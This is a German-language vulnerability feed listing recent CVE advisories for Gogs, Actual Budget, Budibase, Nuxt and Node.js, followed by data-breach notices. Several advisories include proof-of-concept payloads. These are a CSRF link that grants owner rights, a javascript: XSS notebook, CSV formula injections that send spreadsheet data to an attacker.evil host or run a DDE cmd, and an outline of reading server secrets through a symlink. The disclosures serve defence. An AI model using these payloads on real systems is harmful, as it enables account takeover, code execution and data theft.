| Risiko / Label | Veröffentlichung | |
|---|---|---|
| Risiko 7.5 / 10 CVE-2026-52801 | vor 6 Stunde(n) | |
| ### Summary
The Gogs Mirror Settings functionality provide an alternative way from the well protected New Migration functionality for any authenticated users to import local repositories. This issue stems from a lack of validation of SaveAddress function.
### Details
Here is the function implementation of the secure New Migration functionality.
|
||
| Risiko 7.5 / 10 CVE-2026-52800 | vor 6 Stunde(n) | |
| ## Summary
In **Gogs 0.14.1**, organization team member management can be performed via **GET requests without CSRF protection**.
If a victim who is an **organization owner** is logged in and is tricked into visiting a crafted link, an attacker-controlled user can be added to the **Owners** team. As a result, the attacker gains **organization owner–equivalent privileges**.
---
## Description
When a victim is logged in as an organization owner, **team member management endpoints are exposed via routes reachable by GET requests**, allowing state-changing operations without a CSRF token.
### Team action route allows GET
`internal/cmd/web.go:390`
```go
m.Route("/teams/:team/action/:action", "GET,POST", org.TeamsAction)
```
### CSRF validation is applied only to POST requests
Because the global CSRF check is limited to POST requests, state-changing operations reached via GET bypass CSRF protection entirely.
`internal/context/auth.go:56-61`
```go
if !options.SignOutRequired && !options.DisableCSRF &&
c.Req.Method == "POST" && !isAPIPath(c.Req.URL.Path) {
csrf.Validate(c.Context, c.csrf)
if c.Written() {
return
}
}
```
### TeamsAction performs state changes regardless of HTTP method
`TeamsAction` does not branch on the HTTP method. Instead, it performs state-changing operations (such as adding or removing members) based solely on query parameters (`uid`, `uname`) and the `:action` path parameter.
Since the route explicitly allows GET, the `add` action can be executed via GET.
`internal/route/org/teams.go:38-83`
```go
func TeamsAction(c *context.Context) {
uid := com.StrTo(c.Query("uid")).MustInt64()
if uid == 0 {
c.Redirect(c.Org.OrgLink + "/teams")
return
}
page := c.Query("page")
var err error
switch c.Params(":action") {
case "add":
if !c.Org.IsOwner {
c.NotFound()
return
}
uname := c.Query("uname")
var u *database.User
u, err = database.Handle.Users().GetByUsername(c.Req.Context(), uname)
// ...
err = c.Org.Team.AddMember(u.ID)
page = "team"
}
}
```
### Adding a user to the Owners team grants organization owner privileges
When a user joins the **Owners** team, `OrgUser.IsOwner` is set to `true`. Therefore, adding a user to the Owners team directly results in granting organization owner–equivalent privileges.
`internal/database/org_team.go:566-576`
```go
ou := new(OrgUser)
if _, err = sess.Where("uid = ?", userID).
And("org_id = ?", orgID).Get(ou); err != nil {
return err
}
ou.NumTeams++
if t.IsOwnerTeam() {
ou.IsOwner = true
}
if _, err = sess.ID(ou.ID).AllCols().Update(ou); err != nil {
return err
}
```
### Related issue: organization member actions are also state-changing via GET
For reference, organization member management endpoints are also exposed as GET routes that perform state changes without CSRF protection.
`internal/cmd/web.go:382`
```go
m.Get("/members/action/:action", org.MembersAction)
```
`MembersAction` similarly does not branch on HTTP method and performs state-changing operations (public/private toggle, remove, leave) based on query parameters and the `:action` path parameter.
`internal/route/org/members.go:31-71`
```go
func MembersAction(c *context.Context) {
uid := com.StrTo(c.Query("uid")).MustInt64()
if uid == 0 {
c.Redirect(c.Org.OrgLink + "/members")
return
}
org := c.Org.Organization
var err error
switch c.Params(":action") {
case "private":
err = database.ChangeOrgUserStatus(org.ID, uid, false)
case "public":
err = database.ChangeOrgUserStatus(org.ID, uid, true)
case "remove":
err = org.RemoveMember(uid)
case "leave":
err = org.RemoveMember(c.User.ID)
}
}
```
---
## Steps to Reproduce
1. Prepare a target user account to be added (e.g., `attacker`).
2. Confirm that the victim user is an **owner** of the target organization (e.g., `org3`) and is logged in.
3. Cause the victim’s browser to perform a **top-level navigation** to the following URL:
```
http://localhost:10880/org/org3/teams/owners/action/add?uid=1&uname=attacker
```
|
||
| Risiko 7.5 / 10 CVE-2026-52799 | vor 6 Stunde(n) | |
| ## Summary
In Gogs 0.14.1, `GET /attachments/:uuid` returns the raw attachment file **without verifying whether the requester has view permission for the associated Issue/Comment/Release or the repository**.
In a test environment with `REQUIRE_SIGNIN_VIEW = false`, we confirmed that **an unauthenticated user can download attachments belonging to a private repository**.
## Description
`/attachments/:uuid` retrieves an attachment record solely by the UUID provided in the URL and returns the corresponding local file **without performing any authorization checks** against the attachment’s parent object (Issue/Comment/Release) or the repository it belongs to. As a result, even attachments under private repositories can be downloaded by an unauthenticated user (or a user without proper permissions) as long as the UUID is known.
Relevant code (internal/cmd/web.go:306):
```go
m.Get("/attachments/:uuid", func(c *context.Context) {
attach, err := database.GetAttachmentByUUID(c.Params(":uuid"))
if err != nil {
c.NotFoundOrError(err, "get attachment by UUID")
return
} else if !com.IsFile(attach.LocalPath()) {
c.NotFound()
return
}
fr, err := os.Open(attach.LocalPath())
if err != nil {
c.Error(err, "open attachment file")
return
}
defer fr.Close()
c.Header().Set("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; sandbox")
c.Header().Set("Cache-Control", "public,max-age=86400")
c.Header().Set("Content-Disposition", fmt.Sprintf(`inline; filename="%s"`, attach.Name))
if _, err = io.Copy(c.Resp, fr); err != nil {
c.Error(err, "copy from file to response")
return
}
})
```
The UUID lookup itself also performs **no validation tied to repository visibility or user permissions**. Authorization is not enforced at this layer.
Relevant code (internal/database/attachment.go:124):
```go
// GetAttachmentByUUID returns attachment by given UUID.
func GetAttachmentByUUID(uuid string) (*Attachment, error) {
return getAttachmentByUUID(x, uuid)
}
```
## Preconditions
* The attacker knows the target attachment’s UUID (i.e., the attachment URL).
* For unauthenticated exploitation: `[auth] REQUIRE_SIGNIN_VIEW = false`.
* Even when `REQUIRE_SIGNIN_VIEW = true`, exploitation may still be possible because the handler does not check repository-level permissions; a user who can log in but lacks access to the target repository may still retrieve the attachment.
## Steps to Reproduce
1. Log in as an administrator and create a private repository, e.g. `myadmin/idor-attach-1770724346-1a13bb`.
2. Add an attachment to an Issue in that repository and note the attachment UUID
(example UUID used during testing: `f06d90f8-5b62-4c10-ac8d-f11fdf870b57`).
3. Log out and access the following as an unauthenticated user:
* The repository page → 404 Not Found
|
||
| Risiko 7.5 / 10 CVE-2026-52798 | vor 6 Stunde(n) | |
| # Summary
Although `.ipynb` previews are sanitized on the server side via `/-/api/sanitize_ipynb`, the inserted content is **re-rendered on the client side without sanitization** using `marked()` on elements with the `.nb-markdown-cell` class. During this process, links containing schemes such as `javascript:` can be regenerated.
As a result, when a victim views an attacker-crafted `.ipynb` file and clicks the link, **arbitrary JavaScript is executed in the Gogs origin**, leading to a click-based Stored XSS.
# Details
After the rendered output of a `.ipynb` file is sanitized via `/-/api/sanitize_ipynb` and inserted into the DOM, **only the Markdown cell portions are re-rendered using `marked()` and overwritten in the DOM**. During this process, links with the `javascript:` scheme can be regenerated.
`templates/repo/view_file.tmpl:42–71`
```html
{{else if .IsIPythonNotebook}}
```
While **regular HTML pages (including `.ipynb` preview pages)** are served **without a Content Security Policy (CSP)**, CSP headers are applied **only to attachment delivery routes**.
`internal/cmd/web.go:323`
```go
c.Header().Set("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; sandbox")
```
# Steps to Reproduce
1. As the attacker, add and push/commit a `.ipynb` file containing a `javascript:` link in a Markdown cell to a repository.
* Example (PoC):
```json
{
"nbformat": 4,
"nbformat_minor": 2,
"metadata": {},
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"[poc](javascript:alert(document.domain))"
]
}
]
}
```
2. The victim opens the file on Gogs (e.g., `/ |
||
| Risiko 2 / 10 CVE-2026-52796 | vor 6 Stunde(n) | |
| ### Summary Special template of issue index pattern may cause panic. ### Details in internal/markup/markup.go ```go link = fmt.Sprintf(`%s`, com.Expand(metas["format"], metas), m) ``` Issue index pattern is rendered to link with `com.Expand`. However, `com.Expand` is not safe. ```go i = strings.Index(template, "}") if s, ok := match[template[:i]]; ok { ``` when `{` is found but `}` not found, i comes to 1, template[:-1] will be called, and then panicked  finally, all pages than contains issue index are unavailable. ### PoC 1. set issue index pattern as follow  2. add a commit which point to an issue in its msg  using `#1` above ### Impact DoS that cause part of pages of the specify repo unavailable. | ||
| Risiko 5 / 10 CVE-2026-50179 | vor 6 Stunde(n) | |
| ## Summary `exportToCSV` and `exportQueryToCSV` in `packages/loot-core/src/server/transactions/export/export-to-csv.ts` pass user-controlled `Payee`, `Notes`, `Account`, and `Category` strings to `csv-stringify` with no `cast` callback and no formula-prefix neutralization. Strings that begin with `=`, `+`, `-`, `@`, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. `=HYPERLINK("http://attacker/?leak="&B2,"Bank refund")` is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. `=WEBSERVICE`/`=IMPORTXML` provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel. ## Details Sink — `packages/loot-core/src/server/transactions/export/export-to-csv.ts:56`: ```ts return csvStringify(transactionsForExport, { header: true }); ``` and the same call again at `export-to-csv.ts:131` for `exportQueryToCSV`. `csv-stringify` v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper — `grep` for `csvStringify` finds exactly one source file across the monorepo. Source of attacker-controlled `Payee`/`Notes`: - `packages/loot-core/src/server/transactions/import/parse-file.ts:77` dispatches uploaded files to `parseCSV` (`:109`), `parseOFX` (`:200`), `parseQIF` (`:158`), `parseCAMT` (`:250`). None of them strip or escape formula prefixes from `payee_name`/`imported_payee`/`notes`. - For OFX, `mapOfxTransaction` in `packages/loot-core/src/server/transactions/import/ofx2json.ts` only runs `html2Plain` (HTML entity decoding) on the NAME field — `=`, `+`, `-`, `@`, `\t` are untouched. - `sync.normalizeTransactions` (`packages/loot-core/src/server/transactions/sync.ts`) applies `title()` casing, which only mutates letters via `String.toLowerCase`; non-letter prefix characters are preserved, and Excel formulas are case-insensitive (`=hyperlink(...)` parses identically to `=HYPERLINK(...)`). - The payee can also be entered directly through the UI or set via the `@actual-app/api`'s payee/transaction CRUD endpoints — anyone with write access to a shared budget can plant the payload. Verification that `csv-stringify` does not neutralize formulas: ``` $ node -e "const{stringify}=require('csv-stringify/sync');console.log(stringify([{Payee:'=HYPERLINK(\"http://x/?\"&B2,\"refund\")'}],{header:true}))" Payee "=HYPERLINK(""http://x/?""&B2,""refund"")" ``` The double-quote escaping is intact, but the leading `=` is not prefixed with `'` or otherwise neutralized — Excel, LibreOffice Calc, and Google Sheets will all evaluate this as a formula on open. ## PoC 1. Attacker delivers a malicious file the victim is willing to import (fake bank OFX statement, shared budget file, expense-tracking CSV from a collaborator). Example malicious CSV the victim drops into "Import file": ``` Date,Payee,Amount 2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",100.00 2026-01-02,"@SUM(1+1)*cmd|'/c calc'!A0",50.00 2026-01-03,"+1+1",-25.00 2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",10.00 ``` 2. Victim imports through Account → Import file. `parseFile` (`parse-file.ts:77`) → `parseCSV`/`parseOFX`/`parseQIF`/`parseCAMT` returns rows with the formula strings preserved as `payee_name`. `sync.normalizeTransactions` does not strip the prefix characters. 3. Payees are persisted into the `payees` table verbatim. 4. Some time later the victim runs Account → menu → Export. `transactions-export-query` invokes `exportQueryToCSV` (`export-to-csv.ts:131`). 5. The exported file looks like (verified output shape from `csvStringify`): ``` Account,Date,Payee,Notes,Category_Group,Category,Amount,Split_Amount,Cleared Checking,2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",,,,100.00,0,Not cleared Checking,2026-01-02,@SUM(1+1)*cmd|'/c calc'!A0,,,,50.00,0,Not cleared Checking,2026-01-03,+1+1,,,,-25.00,0,Not cleared Checking,2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",,,,10.00,0,Not cleared ``` 6. Victim or downstream recipient (accountant, spouse, tax preparer) opens the CSV in Excel/LibreOffice/Sheets. `=HYPERLINK(...)` renders as a clickable link that exfiltrates adjacent cell values to attacker on click; `=WEBSERVICE`/`=IMPORTXML` (Sheets/LibreOffice) fire automatically; legacy `=cmd|...` DDE may execute on unpatched Excel. ## Impact - **Confidentiality**: Adjacent transaction data (amounts, account names, balances, payees, categories) can be exfiltrated to attacker-controlled URLs through `=HYPERLINK` clicks or auto-firing `=WEBSERVICE`/`=IMPORTXML`. - **Integrity**: Spreadsheet recipients (accountants, tax preparers) see attacker-chosen display values where they expected raw payee names, enabling fraud (e.g., forged "Refund" line items linking to phishing). - **Reach**: Exports from Actual Budget are commonly shared with third parties (accountants, tax software, household members). One malicious imported statement contaminates every future export of that budget. - **Note on AC:H**: requires victim-driven import → export → spreadsheet open. Modern Excel disables DDE by default, narrowing the RCE pathway, but `=HYPERLINK` exfil is universal and silent. ## Recommended Fix Pass a `cast.string` callback to `csv-stringify` that prefixes any formula-trigger string with a single quote, the OWASP-recommended neutralization. Apply at both call sites in `packages/loot-core/src/server/transactions/export/export-to-csv.ts`: ```ts import { stringify as csvStringify } from 'csv-stringify/sync'; const FORMULA_PREFIX = /^[=+\-@\t\r]/; function neutralizeFormula(value: string): string { return FORMULA_PREFIX.test(value) ? `'${value}` : value; } const csvOptions = { header: true, cast: { string: (value: string) => neutralizeFormula(value), }, } as const; // export-to-csv.ts:56 return csvStringify(transactionsForExport, csvOptions); // export-to-csv.ts:131 return csvStringify(transactionsForExport, csvOptions); ``` Alternative defenses to consider in addition: - Strip/neutralize formula prefixes on import in `parse-file.ts` for `payee_name`/`notes` so the database never contains formula-shaped strings (defense in depth — protects any future export consumers). - Add a regression unit test that asserts every CSV cell starting with `=`, `+`, `-`, `@`, `\t`, or `\r` is prefixed with `'`. | ||
| Risiko 7.5 / 10 CVE-2026-54353 | vor 6 Stunde(n) | |
| Summary
Authenticated users with automation permissions can bypass Budibase's SSRF blacklist through DNS rebinding.
The outbound fetch flow validates a hostname against the blacklist before the request is sent, but the actual socket connection later performs a separate DNS lookup through node-fetch. Since the validated IPs are never pinned to the connection, an attacker-controlled hostname can return a public IP during validation and a private/internal IP during the real connection.
This results in a non-blind SSRF primitive against internal services reachable from the Budibase host, including loopback, RFC1918 ranges, and cloud metadata endpoints.
Details
The issue comes from the outbound fetch validation flow resolving DNS twice:
During blacklist validation
Again during the real socket connection
The first lookup result is discarded after validation, so the second lookup is free to resolve to a different IP.
This creates a classic TOCTOU DNS rebinding issue.
Affected flow in:
packages/backend-core/src/utils/outboundFetch.ts
```
async function throwIfUnsafe(url: string): Promise |
||
| Risiko 9.5 / 10 CVE-2026-54352 | vor 7 Stunde(n) | |
| ## Summary
`POST /api/pwa/process-zip` at `packages/server/src/api/routes/static.ts:24` accepts a builder-uploaded `.zip`, extracts it with `extract-zip@2.0.1` into a temp directory, then for each entry listed in `icons.json` validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via `GET /api/assets/{appId}/pwa/{uuid}.png`.
`extract-zip@2.0.1` preserves absolute symlink targets when restoring symlink entries. The icon-source validator at `packages/server/src/api/controllers/static/index.ts:259-268` resolves the icon source string against `baseDir` (`path.resolve`), checks `resolvedSrc.startsWith(baseDir + path.sep)` against that string, and calls `fs.existsSync(resolvedSrc)` which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at `baseDir/evil.png` but pointing at `/data/.env` passes the gate.
`packages/backend-core/src/objectStore/objectStore.ts:302` then calls `(await fsp.open(path)).createReadStream()` on the resolved path. `fsp.open` follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim.
Result: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including `/data/.env` with `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_*`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `DATABASE_URL`) by uploading one crafted PWA zip.
## Affected
`Budibase/budibase` server, `@budibase/server` package, `<= 3.39.0` (HEAD `feab995`, released 2026-05-20).
Reachable in stock self-hosted deployments. The default `budibase/budibase:latest` Docker image runs the Node server as `root` inside the container; the server process opens `/etc/passwd`, `/etc/shadow`, `/data/.env`, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app.
Not affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material.
## Root cause
`packages/server/src/api/routes/static.ts:24`: `.post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip)` exposes the endpoint to any workspace builder; the only permission required is `BUILDER`.
`packages/server/src/api/controllers/static/index.ts:235`: `await extract(filePath, { dir: tempDir })` calls `extract-zip@2.0.1`, which preserves absolute symlink targets when restoring symlink entries.
`packages/server/src/api/controllers/static/index.ts:259-268`: the icon validator (`path.resolve` + `resolvedSrc.startsWith(baseDir + path.sep)` + `fs.existsSync`) operates on the resolved string path and on `fs.existsSync` (which follows symbolic links). A symlink stored under `baseDir` whose target points anywhere reachable by the server passes the gate as long as the target exists.
`packages/backend-core/src/objectStore/objectStore.ts:302`: `(await fsp.open(path)).createReadStream()` follows the symlink and streams the target file's bytes; the object lands in MinIO under `{appId}/pwa/{uuid}{extension}` and is served by `GET /api/assets/{appId}/pwa/{uuid}.{ext}` (`packages/server/src/api/routes/static.ts:21`).
`hosting/single/Dockerfile`: the production single-container image runs the Node server as `root`, so the read primitive reaches `/etc/shadow`, `/data/.env`, and every other root-readable path.
## Reproduction
`budibase/budibase:latest` (`v3.39.0`) Docker single-container on `localhost:10000`, default config, with any workspace builder logged in. Cookie jar and ` |
||
| Risiko 7.5 / 10 CVE-2026-54351 | vor 7 Stunde(n) | |
| ## Summary
The webhook trigger endpoint in Budibase is publicly accessible and passes the full HTTP request body into automation execution parameters. A mass assignment vulnerability in `externalTrigger()` allows an attacker to overwrite the internal `appId` property by including it in the webhook POST body. When the automation is processed asynchronously (the default path for webhooks without a collect step), the worker executes the attacker-defined automation in the context of the victim's workspace, granting full read/write access to the victim's database.
## Details
The webhook trigger route is registered as a public endpoint with no authentication:
```typescript
// packages/server/src/api/routes/webhook.ts:12
publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger)
```
The controller passes the raw request body as `fields` alongside the server-derived `appId`:
```typescript
// packages/server/src/api/controllers/webhook.ts:142-148
await triggers.externalTrigger(target, {
fields: {
...ctx.request.body, // attacker-controlled
body: ctx.request.body,
},
appId: prodAppId, // server-controlled
})
```
In `externalTrigger()`, for webhook-triggered automations, `params.fields` is spread back into `params`:
```typescript
// packages/server/src/automations/triggers.ts:237-241
params = {
...params, // appId: prodAppId (server-controlled)
...params.fields, // appId: VICTIM_ID (attacker-controlled, overwrites above)
fields: {},
}
```
Because `params.fields` is spread **after** `params`, any key in the attacker's body overwrites the corresponding property in `params`. An attacker including `"appId": "app_VICTIM_WORKSPACE_ID"` in the POST body overwrites the legitimate, server-derived `appId`.
The contaminated params become `data.event` and are queued asynchronously:
```typescript
// packages/server/src/automations/triggers.ts:244,271
const data: AutomationData = { automation, event: params }
// ...
return quotas.addAction(() => automationQueue.add(data, JOB_OPTS))
```
The async worker uses `job.data.event.appId` to set the workspace context:
```typescript
// packages/server/src/threads/automation.ts:917,929-930
const workspaceId = job.data.event.appId // attacker-controlled
// ...
return await context.doInAutomationContext({
workspaceId, // victim's workspace
automationId,
task: async () => { /* automation steps run here */ }
})
```
The synchronous path (for webhooks with a collect step) correctly overwrites `appId` at `triggers.ts:264`:
```typescript
data.event = {
...data.event,
appId: context.getWorkspaceId(), // server-controlled fix
automation,
}
```
This proves the developers intended `appId` to be server-controlled but missed applying the same fix to the async path, which is the default for all webhooks without a collect step.
## PoC
**Prerequisites:** Attacker has builder access to their own Budibase workspace and knows a victim workspace ID (format: `app_ |
||
| Risiko 7.5 / 10 CVE-2026-49229 | vor 7 Stunde(n) | |
| ### Summary
In OpenID multi-user mode, disabling a user only blocks future OpenID login for that identity. Existing Actual session tokens for the disabled user remain valid, so the user can continue calling authenticated server endpoints after an administrator has disabled the account.
### Details
The disabled-user check is present during OpenID login finalization. Existing users are only accepted when the matching row has `enabled = 1`, and a disabled row causes the OpenID grant to fail before a new session token is created.
```ts
// packages/sync-server/src/accounts/openid.ts:284-291
const { id: userIdFromDb, display_name: displayName } =
accountDb.first(
'SELECT id, display_name FROM users WHERE user_name = ? and enabled = 1',
[identity],
) || {};
if (userIdFromDb == null) {
throw new Error('openid-grant-failed');
}
```
The shared session validation path does not perform the same enabled-user check. It accepts any existing token row that has not expired, then returns the session object to every route protected by `validateSessionMiddleware`.
```ts
// packages/sync-server/src/util/validate-user.ts:10-41
export function validateSession(req: Request, res: Response) {
let { token } = req.body || {};
if (!token) {
token = req.headers['x-actual-token'];
}
const session = getSession(token);
...
return session;
}
```
This means account disablement and session authorization diverge:
```text
OpenID login path: users.enabled must be 1
Existing session path: token exists and is not expired; users.enabled is not checked
```
The default token expiration setting is `never`, so this is not just a short race after disablement on default deployments.
```js
// packages/sync-server/src/load-config.js:260-264
token_expiration: {
doc: 'Token expiration time.',
format: 'tokenExpiration',
default: 'never',
env: 'ACTUAL_TOKEN_EXPIRATION',
},
```
Admins can change a user's enabled state through the user update route, but that update does not delete the user's existing sessions. After the update, the old token still satisfies `validateSession`.
```js
// packages/sync-server/src/app-admin.js:91-101
app.patch('/users', validateSessionMiddleware, async (req, res) => {
if (!isAdmin(res.locals.user_id)) {
...
}
const { id, userName, role, displayName, enabled } = req.body || {};
```
```ts
// packages/sync-server/src/services/user-service.ts:98-102
getAccountDb().mutate(
'UPDATE users SET user_name = ?, display_name = ?, enabled = ?, role = ? WHERE id = ?',
[userName, displayName, enabled, roleId, userId],
);
```
Authenticated server features then continue to trust that session. For example, the sync API installs `validateSessionMiddleware` for the whole router, so a disabled user can keep using any sync operation that their still-valid session and existing file ownership/access allow.
```ts
// packages/sync-server/src/app-sync.ts:37-39
const app = express();
app.use(validateSessionMiddleware);
app.use(errorMiddleware);
```
This is distinct from the previously published cross-user sync authorization issue: the attacker does not need to access another user's file ID. The bypass is that a disabled user's own session remains authorized after account disablement.
### PoC
1. Run an Actual Sync Server in OpenID multi-user mode with `@actual-app/sync-server` 26.5.0. Use the default token expiration setting, or any setting where the token has not expired yet.
2. Log in as a non-admin OpenID user and save the returned Actual session token.
3. As an admin, disable that same user through `PATCH /admin/users` by sending `enabled: false`.
4. Reuse the old token against a protected endpoint.
Example success check:
```bash
curl -s https://actual.example.com/account/validate \
-H 'X-Actual-Token: |
||
| Risiko 7.5 / 10 CVE-2026-50137 | vor 7 Stunde(n) | |
| ## Summary
The Budibase server route `POST /api/attachments/:datasourceId/url` ([`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts)) is registered with **only** the `recaptcha` middleware. There is no `authorized(...)` middleware in the chain. The controller (`packages/server/src/api/controllers/static/index.ts::getSignedUploadURL`) looks the requested datasource up, instantiates an AWS S3 client with the datasource's stored `accessKeyId` / `secretAccessKey`, and returns an AWS Signature V4 pre-signed `PutObjectCommand` URL for the caller-supplied `bucket` and `key`. The `bucket` is not pinned to the datasource's configured bucket.
The workspace context required by `sdk.datasources.get` is sourced by `getWorkspaceIdFromCtx` ([`packages/backend-core/src/utils/utils.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/backend-core/src/utils/utils.ts)) from any of: the `x-budibase-app-id` header, the JSON body `appId`, a path segment that begins with the workspace prefix, or `?appId=`. `auth.buildAuthMiddleware([], { publicAllowed: true })` runs before any of this and explicitly allows anonymous requests. The `currentWorkspace` middleware's "deny access to dev preview" branch only triggers under `isBrowser(ctx) && !isApiKey(ctx)`; `isBrowser` checks the parsed `User-Agent` for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too.
Net effect: an anonymous attacker who knows or can enumerate a workspace id (`app_...`) and an S3-source datasource id (`ds_...`) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim's IAM identity. The endpoint also returns the `publicUrl` so the attacker knows exactly where their PUT lands. Because `bucket` is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for.
## Affected code
[`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts) at HEAD `56d2a984` (`master`, 2026-05-18):
```ts
import { permissions } from "@budibase/backend-core"
import Router from "@koa/router"
import { authorizedMiddleware as authorized } from "../../middleware/authorized"
import recaptcha from "../../middleware/recaptcha"
import { paramResource } from "../../middleware/resourceId"
import * as controller from "../controllers/static"
const { BUILDER, PermissionType, PermissionLevel } = permissions
const router: Router = new Router()
// ...
router
.post("/api/attachments/process", authorized(BUILDER), controller.uploadFile)
.post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip)
.post(
"/api/attachments/:tableId/upload",
recaptcha,
paramResource("tableId"),
authorized(PermissionType.TABLE, PermissionLevel.WRITE),
controller.uploadFile
)
// ...
.post(
"/api/attachments/:datasourceId/url",
recaptcha,
controller.getSignedUploadURL // <- no authorized(...)
)
```
Note the asymmetry: every other mutating endpoint on this router carries an `authorized(...)` middleware. The signed-URL endpoint does not.
[`packages/server/src/api/controllers/static/index.ts:595-645`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/controllers/static/index.ts#L595-L645):
```ts
export const getSignedUploadURL = async function (ctx) {
let datasource
try {
const { datasourceId } = ctx.params
datasource = await sdk.datasources.get(datasourceId, { enriched: true })
if (!datasource) {
ctx.throw(400, "The specified datasource could not be found")
}
} catch (error) {
ctx.throw(400, "The specified datasource could not be found")
}
let signedUrl, publicUrl
const awsRegion = (datasource?.config?.region || "eu-west-1") as string
if (datasource?.source === "S3") {
const { bucket, key } = ctx.request.body || {}
if (!bucket || !key) {
ctx.throw(400, "bucket and key values are required")
}
try {
let endpoint = datasource?.config?.endpoint
if (endpoint && !utils.urlHasProtocol(endpoint)) {
endpoint = `https://${endpoint}`
}
const s3 = new S3({
region: awsRegion,
endpoint,
credentials: {
accessKeyId: datasource?.config?.accessKeyId as string,
secretAccessKey: datasource?.config?.secretAccessKey as string,
},
})
const params = { Bucket: bucket, Key: key }
signedUrl = await getSignedUrl(s3, new PutObjectCommand(params))
if (endpoint) {
publicUrl = `${endpoint}/${bucket}/${key}`
} else {
publicUrl = `https://${bucket}.s3.${awsRegion}.amazonaws.com/${key}`
}
} catch (error: any) {
ctx.throw(400, error)
}
}
ctx.body = { signedUrl, publicUrl }
}
```
`sdk.datasources.get(datasourceId, { enriched: true })` ([`packages/server/src/sdk/workspace/datasources/datasources.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/sdk/workspace/datasources/datasources.ts)) does the workspace DB read and **also** substitutes `{{ env.* }}` references in the config via `processObjectSync`, so even if the operator stored credentials as environment-variable references, those values are resolved before the S3 client is built.
`recaptcha` ([`packages/server/src/middleware/recaptcha.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/middleware/recaptcha.ts)) short-circuits to `next()` whenever the workspace either is not a production workspace or does not have `features.recaptchaEnabled = true` on its metadata. Neither is set by default. Even on workspaces with recaptcha enabled, builders carrying the `x-budibase-type: builder` header skip the check, but that branch is irrelevant here — the broader case is that an anonymous attacker simply chooses a non-prod workspace (which is the default for any in-development app) and the middleware no-ops.
## Reproduction
Proof-of-concept Node.js script (no AWS SDK dependency, no external libraries):
```js
#!/usr/bin/env node
// PoC: Unauthenticated S3 signed-upload-URL minting in Budibase
// usage: node poc.js |
||
| Risiko 5 / 10 CVE-2026-56698 | vor 8 Stunde(n) | |
| Nuxt versions 4.0.0 before 4.4.7 and 3.x before 3.21.7 fail to validate script-capable URLs in the navigateTo open option, allowing client-side script execution. Attackers can supply javascript: URLs through the open parameter to execute arbitrary scripts in the application's origin when user-controlled input is passed to navigateTo. | ||
| Risiko 5 / 10 CVE-2026-56697 | vor 8 Stunde(n) | |
| Nuxt versions 4.0.0 before 4.4.7 and 3.x before 3.21.7 accept protocol-relative paths such as //evil.com in the reloadNuxtApp function; these pass the script-protocol check but resolve to a cross-origin URL against the current page protocol. Attackers can inject paths like //evil.com to redirect users to attacker-controlled hosts, enabling phishing and OAuth authorization-code theft. | ||
| Risiko 2 / 10 CVE-2026-48931 | vor 10 Stunde(n) | |
| A flaw in Node.js HTTP Agent can cause a client to accept as valid a response that is send before the client has sent the request. This vulnerability affects all supported release lines: **Node.js 22**, **Node.js 24**, and **Node.js 26**. | ||
| 18.06.2026 - Operation Endgame 4.0 | 153.527 Datensätze geleaked | |
| Email addresses, Passwords On 18 June 2026, the latest phase of Operation Endgame targeted the SocGholish malware operation, a prolific malware distribution network used to compromise systems and facilitate further cybercrime. Coordinated by international law enforcement agencies with support from Europol and Eurojust, the operation remediated almost 15,000 compromised websites and disrupted more than 100 servers and domains used to distribute malware. Authorities also provided HIBP with 154k impacted email addresses and more than half a million previously unseen passwords. |
||
| 15.06.2026 - June 2026 Stealer Logs | 56.278.397 Datensätze geleaked | |
| Email addresses, Passwords In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard. Organisations can see logs affecting their domain via the stealer logs API. |
||
| 12.06.2026 - JCPenney | 368.418 Datensätze geleaked | |
| Dates of birth, Email addresses, Government issued IDs, Job titles, Names, Phone numbers, Physical addresses, Usernames In June 2026, retailer JCPenney and associated brands were targeted in a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from JCPenney through the exploitation of a critical zero-day vulnerability in Oracle PeopleSoft was later published publicly. The exposed records indicated they primarily related to internal HR systems and impacted current and former employees. The data included 368k corporate and personal email addresses, names, dates of birth, Social Security numbers, phone numbers and home addresses. |
||
